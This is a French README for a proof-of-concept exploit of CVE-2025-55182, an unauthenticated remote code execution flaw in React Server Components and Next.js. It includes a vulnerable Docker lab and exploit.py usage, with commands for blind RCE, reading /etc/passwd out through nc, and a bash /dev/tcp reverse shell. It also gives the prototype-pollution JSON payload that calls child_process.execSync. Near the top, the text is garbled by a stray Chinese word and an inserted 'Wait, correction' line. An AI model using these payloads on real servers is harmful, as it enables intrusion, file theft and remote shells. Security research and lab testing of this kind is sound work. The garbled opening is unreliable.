
CVE-2025-55182 React2Shell PoC
Un exploit de preuve de概念 pour CVE-2025-55182, une vulnérabilité critique (CVSS 10.0) d'exécution de code à distance non authentifiée dans React Server Components.
Wait, correction. Let me write it properly:
Un exploit de preuve de concept pour CVE-2025-55182, une vulnérabilité critique (CVSS 10.0) d'exécution de code à distance non authentifiée dans React Server Components.
Découvert par Lachlan Davidson - Divulgué à l'équipe Meta/React le 29 novembre 2025.
La vulnérabilité réside dans la logique de désérialisation du protocole React Flight. En envoyant une charge utile malveillante via une requête HTTP POST, un attaquant peut provoquer une pollution de prototype qui mène à une exécution de code arbitraire sur le serveur.
| Paquet | Versions vulnérables |
|---|---|
| react-server-dom-webpack | 19.0.0, 19.1.0, 19.1.1, 19.2.0 |
| react-server-dom-parcel | 19.0.0, 19.1.0, 19.1.1, 19.2.0 |
| react-server-dom-turbopack | 19.0.0, 19.1.0, 19.1.1, 19.2.0 |
| Next.js | 15.0.4, 15.1.8, 15.2.5, 15.3.5, 15.4.7, 15.5.6, 16.0.6 |
.
├── exploit.py # exploit script
├── docker-compose.yml # Vulnerable test environment
├── vulnerable-app/ # Vulnerable Next.js application
└── README.md
docker compose up -d
Ceci démarre une application Next.js vulnérable sur http://localhost:3000.
python3 exploit.py -u http://localhost:3000 --check
Ceci effectue une vérification non exploitante des indicateurs, notamment :
python3 exploit.py -u http://localhost:3000 -c "id"
Exécute une commande sans afficher la sortie. Vérifiez avec :
python3 exploit.py -u http://localhost:3000 -c "id" --exfil <IP>:<PORT>
Votre adresse IP ; Port d'écoute
usage: exploit.py [-h] -u URL [-c COMMAND] [--check] [--exfil HOST:PORT]
[--timeout TIMEOUT] [--no-verify]
options:
-u, --url URL Target URL
-c, --command CMD Command to execute
--check Check if vulnerable (non-exploitative)
--exfil HOST:PORT Exfiltrate output to HOST:PORT
--timeout TIMEOUT Request timeout (default: 10)
--no-verify Disable SSL verification
# Check vulnerability
python3 exploit.py -u http://localhost:3000 --check
# Blind RCE
python3 exploit.py -u http://localhost:3000 -c "touch /tmp/pwned"
# RCE with output
python3 exploit.py -u http://localhost:3000 -c "whoami" --exfil 172.17.0.1:9999
# Read files
python3 exploit.py -u http://localhost:3000 -c "cat /etc/passwd" --exfil 172.17.0.1:9999
# Reverse shell
python3 exploit.py -u http://localhost:3000 -c "bash -c 'bash -i >& /dev/tcp/172.17.0.1/4444 0>&1'"
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\": \"$B0\"}",
"_response": {
"_prefix": "process.mainModule.require('child_process').execSync('id');",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
L'exploit corrompt l'état du serveur pendant l'exécution, ce qui rend l'exfiltration de la réponse dans la bande (in-band) peu fiable. L'option --exfil utilise une exfiltration hors bande (out-of-band) :
┌──────────┐ 1. Malicious POST ┌──────────┐
│ Attacker │ ──────────────────► │ Server │
└──────────┘ └──────────┘
▲ │
│ 3. Command output │ 2. RCE executes:
│ via nc │ cmd | nc attacker port
│ ▼
└─────────────────────────────────┘
docker compose down
Cet outil est destiné uniquement aux tests de sécurité autorisés et à des fins éducatives. Ne l'utilisez que contre des systèmes que vous avez la permission de tester.